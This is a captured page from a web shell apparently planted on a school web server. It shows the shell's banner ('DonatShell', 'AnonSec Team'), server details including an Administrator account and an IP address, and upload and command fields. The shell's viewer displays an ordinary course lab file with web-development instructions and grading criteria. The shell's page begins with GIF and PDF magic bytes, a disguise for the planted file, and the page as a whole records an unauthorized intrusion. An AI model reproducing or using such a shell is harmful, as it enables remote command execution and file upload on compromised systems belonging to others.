GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1022/Labs/Lab01/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1022/Labs/Lab01//Lab01.phpinc
<?
// JimMartinson/CST1022/Labs/Lab01/Lab01.phpinc

$css .= ',colorCode.css';
require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.

$disabled = '';
$disabled = ' disabled'; // Comment this line to enable lab.

?>
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Description</legend>
The purpose of this lab is to demonstrate your ability to create an html page with, a css file, and a JavaScript file.
<?=$gradeNote?>
<? if ( $disabled ) { ?><div class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</div><? } ?>
</fieldset>

<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Instruction</legend>
<ol id="main" class="count">
	<!-- Step 1 -->
	<li>Create a folder for this <?=strtolower($evaluationType)?> named <b class="copyText"><?=$evaluationName?></b> and keep all documents used for <?=$evaluationType?> <?=$evaluationNumber?> in that folder.</li>
	<!-- Step 2 -->
	<li class="css">Create a css file.
		<ol>
			<li>Name the file <b class="copyText">site.css</b>.</li>
			<li>Place the following code in the site.css file:
				<pre class="code copyText">@charset "utf-8";
/* Main site css file for <?=$userFullName?>. */
#divArea { border: 1px solid red; height: 450px; margin: 0 auto; width: 900px; }
#divControl { border: 1px solid blue; height: 100px; margin: 0 auto 0.5em auto; width: 150px; }
h1 { background-color: silver; text-align: center; }
</pre>
				<span class="note">I had a space incorrectly in the css code: `width :150px;` should have been `width: 150px;`.</span>
			</li>
			<li>Save the site.css file.</li>
		</ol>
	</li>
	<!-- Step 3 -->
	<li class="js">Create a JavaScript file.
		<ol>
			<li>Name the file <b class="copyText">site.js</b>.</li>
			<li>Place the following code in the site.js file:
				<pre class="code copyText">"use strict";
// Main site js file for <?=$userFullName?>.
function _Initialize() {
	let e_divControl = document.getElementById("divControl");
	e_divControl.style.fontSize = "2em";
	e_divControl.style.color = "blue";
	document.getElementById("divArea").style.textAlign = "center";
}
</pre>
			</li>
			<li>Save the site.js file.</li>
		</ol>
	</li>
	<!-- Step 4 -->
	<li class="page">Create your first web page.
		<ol>
			<li>Name the file <b class="copyText"><?=$saveFilename?>.html</b>.</li>
			<li>The page must contain the foundation tags. <a href="#notes" class="smaller">See notes</a></li>
		</ol>
	</li>
	<!-- Step 5 -->
	<li class="page">Place the following in the <span class="highELE">head</span> of your page:
		<ol type="a">
			<li>Title the page <span-content class="copyText"><?=$pageTitle?></span-content>.</li>
			<li>The meta character set tag.</li>
			<li>The link tag to the <span class="highVAL"><span class="copyText">site.css</span></span> css file.</li>
			<li>The style tag to the <span class="highVAL"><span class="copyText">site.js</span></span> JavaScript (js) file.</li>
		</ol>
	</li>
	<!-- Step 6 -->
	<li class="page">Place the following in the <span class="highELE">body</span> of your page:
		<ol type="a">
			<!-- Step 6.1 -->
			<li>Add an <span class="highELE">h1</span> heading element at the beginning of the body with <span-content class="copyText"><?=$pageTitle?></span-content> as the innerHTML.</li>
			<!-- Step 6.2 -->
			<li>Add a <span class="highEL copyText">&lt;div&gt;</span> element:
				<ol>
					<li>Set the  <span class="highATT copyText">id</span> to <span class="highVAL copyText">divControl</span></li>
					<li>Put the text <b class="copyText">controls</b> as the interHTML of the div.</li>
				</ol>
			</li>
			<!-- Step 6.3 -->
			<li>Add another <span class="highEL copyText">&lt;div&gt;</span> element:
				<ol>
					<li>Set the  <span class="highATT copyText">id</span> to <span class="highVAL copyText">divArea</span></li>
					<li>Put the text <b class="copyText">work area</b> as the interHTML of the div.</li>
				</ol>
			</li>
			<!-- Step 6.4 -->
			<li>Add a <span class="highEL copyText">&lt;script&gt;</span> element:
				<ol>
					<li class="js">Place the following JavaScript code in the element:
						<pre class="code copyText">_Initialize();</pre>
					</li>
				</ol>
			</li>
			<!-- Step 6.5 -->
			<li>Save the <?=$saveFilename?>.html file</li>
		</ol>
		<div id="show_page" class="inline"><a href="#" onClick="divHide('show_page'); divShow('hide_page'); return false;">See an example:</a></div>
		<div id="hide_page" class="hidden"><a href="#" onClick="divHide('hide_page'); divShowInline('show_page'); return false;">Hide the example.</a>
		<? include('common/Browser/Browser.phpinc'); BrowserBegin($pageTitle,'file:///'.$courseNumber.'/'.$evaluationName.'/'.$saveFilename.'.html',824); ?>
		<img src="images/example.png" height="571" width="800" alt="Lab 1 example">
		<? BrowserEnd(); ?>
		</div>
	</li>
	<!-- Step 7 -->
	<li>Turn in your assignment:
		<ol type="a">
			<li>Ensure the following files are in your <b><?=$evaluationName?></b> folder:<?
$fileList = array(
	'site.css',
	'site.js',
	$saveFilename.'.html',
);
	natcasesort($fileList);
						foreach ($fileList as $fileName) {
?>
				<br><?=$fileName?>
<?
						}
?>
			</li>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li>
		</ol>
	</li>
</ol>
<? if ( $disabled ) { ?><div class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</div><? } ?>
</fieldset>

<? require('../LabNotes.phpinc'); ?>
<script src="/js/colorCode.js"></script>
<?
$PartialGradingCriteria = '
-assignmentPoints if the <a href="https://jigsaw.w3.org/css-validator/validator.html.en#validate_by_input">CSS Validation Service</a> or <a href="https://validator.w3.org/#validate_by_input">Markup Validation Service</a> report errors.
No further grading will be done.
<table>
	<tr>
		<th>Criteria</th>
		<th class="right">Points</th>
	</tr>
	<tr>
		<td>Correct HTML elements, including: <span class="highELE">!DOCTYPE</span>, <span class="highELE">html</span>, <span class="highELE">head</span> (with required elements), <span class="highELE">body</span>, and <span class="highELE">div</span>s. This includes having the code well formatted.</td>
		<td class="number">3</td>
	</tr>
	<tr>
		<td>Correct site.css file.</td>
		<td class="number">1</td>
	</tr>
	<tr>
		<td>Correct site.js file.</td>
		<td class="number">1</td>
	</tr>
	<tr>
		<th class="right">Total:</th>
		<th class="number">assignmentPoints</th>
	</tr>
</table>
';
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
#require('../../ReferencesResources.phpinc');
#require($Instructor['Path'].'/ContactInformation.phpinc');
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team